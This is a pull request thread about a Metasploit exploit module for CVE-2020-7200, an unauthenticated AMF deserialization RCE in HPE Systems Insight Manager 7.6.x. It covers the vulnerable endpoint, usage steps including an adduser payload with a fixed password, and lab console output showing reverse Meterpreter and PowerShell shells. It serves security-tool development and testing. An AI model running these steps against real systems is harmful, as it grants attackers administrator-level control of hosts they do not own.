CVE-2020-7200 - HPE Systems Insight Manager 7.6.x Unauthenticated RCE via AMF Deserialization

[gwillcox-r7]

This module adds support for CVE-2020-7200, an unauthenticated RCE vulnerability within HPE Systems Insight Manger 7.6.x that results in unauthenticated RCE. The issue occurs due to two factors: the first is that an outdated version of the Apache CommonsCollections library, specifically version 3.2.2, is in use within HPE Systems Insight Manager 7.6.x, which assists with the exploitation process. The second and more important issue is that no verification takes place on any serialized AMF requests which are sent to the /simsearch/messagebroker/amfsecure page, which is accessible to unauthenticated users.

This module should allow one to execute fairly arbitrary command line statements as the user running the HPE Systems Insight Manager server, which is normally the local administrator.

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• use exploit/windows/http/hpe_sim_76_amf_deserialization
• set TARGET Windows\ Powershell
• set PAYLOAD windows/x64/meterpreter/bind_tcp
• set RHOSTS *target*
• exploit
• Verify you get a shell as the local administrator.
• Verify that running getsystem on a Meterpreter shell gets you system from the administrative user.
• set TARGET Windows\ Command
• set PAYLOAD cmd/windows/adduser
• exploit
• Verify a new user called metasploit is created with the password Metasploit$1.
• Document any issues encountered or suggestions for improvement.

[label-actions]

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

• Writing Module Documentation
• Template
• Examples

[gwillcox-r7]

Uploading the source code for generating the emp.ser file shortly. All other files should remain the same.

[space-r7]

Hmm, it looks like the class file and emp.ser is empty

[gwillcox-r7]

Darn, last few changes appear to be messing things up again and the normal payloads are no longer working now. Seems to have been only an issue with cmd/windows/powershell_reverse_tcp, rest work fine.

[gwillcox-r7]

Fixed the loop issue with d739bf7 and also updated the module with f193caa to use the Windows Powershell target by default since that supports Meterpreter and generally has a wider range of payloads that works (for instance cmd/windows/powershell_reverse_tcp doesn't seem to work right now despite cmd/windows/powershell_bind_tcp working fine, which is a little odd of a user experience; no such issues with Windows Powershell payloads). Also updated the documentation accordingly to account for the message about the default payload.

[smcintyre-r7]

It seems reasonable that the server may respond with a 200 OK for any requested research which would cause this to return Appears. Is there anything in the expected response body or maybe the headers that would help narrow this down a bit more?

Also Appears may not be the best fit here since there's no version detection taking place. Detected might be a bit more appropriate especially if the vulnerability has been patched.

[gwillcox-r7]

Hmm so this is an interesting one as the affected page doesn't give away anything such as a version number or similar that could help identify it, and the only version numbers that are revealed are for stuff like Tomcat and generic servers which are not really good matches.

That being said this server is locked to listening on port 50000 and has a login page at / which I should be able to use as a search point to say "hey if the login page at / contains these words, and the vulnerable page exists and is returning 200 OK, then its likely this target is vulnerable".

Unfortunately the login page does not have any versioning information and I am not aware of any page that reveals the version info of HPE SIM at this time.

For reference at the moment the vulnerability has not been patched. The vendor recommendation is to remove the vulnerable .war file, essentially destroying the functionality. Those who rely on this functionality will either have to remain vulnerable, or be forced to find a replacement.

Will update this check so long and also update the Appears check to instead return Detected as we can't do version detection as you pointed out.

[smcintyre-r7]

What if you attempted to trigger the deserialization vuln with a sort of No-op and checked the error message like you do for the actual exploit. Then you could confidently return a Vulnerable status which would be even better.

From your module metadata it looks like somethings written to disk. Does that occur during exploitation because it doesn't look like you're using the command stager which would write out to the disk. If you could trigger the deserialization enough to get an error to identify it's vulnerable without crashing the service or writing to disk I think that'd be a good solution. If it logs something incriminating, I think it's a reasonable trade off for accuracy.

[gwillcox-r7]

Updated the check in 2b48880 to check for three strings from the login page to see if the target is a HPE SIMs server and to bail with a CheckCode::Safe error message if the target doesn't look like a proper target.

Also updated the Appears to a Detected response in 02e8994

[gwillcox-r7]

Woops it appears I didn't actually answer your question cause for some reason I either didn't read the second message or GitHub didn't show it to me 😞 I don't believe anything is written to disk by this exploit, its probably an artifact left over from the original code that I based this off of back when I thought this module could handle payload droppers (spoiler alert, it really does not handle them well at all). I'll remove that so long as it doesn't make sense anymore.

As for the deserialization, yeah I can get it to trigger an error with a blank payload, which should be more than enough to indicate that the target is vulnerable using similar logic, as if that null error occurs when sending a message to the target its pretty much guaranteed to be vulnerable. I'll update the code to reflect this so that we can return more accurate results. and return vulnerable properly.

[gwillcox-r7]

Did another update in 8479f01 to remove the extra metadata about dropping a file since that no longer applies, and to also return a Vulnerable status after trying to deserialize a payload that simply executes the command a, and then checking the results.

[gwillcox-r7]

Gah I need to update the documentation and also lint this again. Give me a second...

[space-r7]

Works great for me. Tested with both targets:

msf6 > use exploit/windows/http/hpe_sim_76_amf_deserialization 
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > set rhost 192.168.37.156
rhost => 192.168.37.156
msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > options

Module options (exploit/windows/http/hpe_sim_76_amf_deserialization):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.37.156   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      50000            yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the HPE SIM server
   VHOST                       no        HTTP server virtual host


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.37.1     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Windows Powershell


msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Target returned java.lang.NullPointerException in its 200 OK response!
[*] Sending stage (200262 bytes) to 192.168.37.156
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.156:52123) at 2021-03-08 16:31:49 -0600

meterpreter > getuid
Server username: WIN-RM1SF10EL7Q\hpe_account
meterpreter > sysinfo
Computer        : WIN-RM1SF10EL7Q
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 5
Meterpreter     : x64/windows

msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > set target 0
target => 0
msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > set payload cmd/windows/powershell_reverse_tcp 
payload => cmd/windows/powershell_reverse_tcp
msf6 exploit(windows/http/hpe_sim_76_amf_deserialization) > run

[*] Started reverse SSL handler on 192.168.37.1:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Target returned java.lang.NullPointerException in its 200 OK response!
[*] Powershell session session 2 opened (192.168.37.1:4444 -> 192.168.37.156:52232) at 2021-03-08 16:36:30 -0600

indows PowerShell running as user hpe_account on WIN-RM1SF10EL7Q
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Program Files\HP\Systems Insight Manager>whoami
win-rm1sf10el7q\hpe_account

[space-r7]

Release Notes

New module exploits/windows/http/hpe_sim_76_amf_deserialization targets the 7.6.x versions of HPE Systems Insight Manager software, gaining unauthenticated code execution as the user running the HPE SIM software (typically local administrator) by sending a serialized AMF request to the /simsearch/messagebroker/amfsecure page.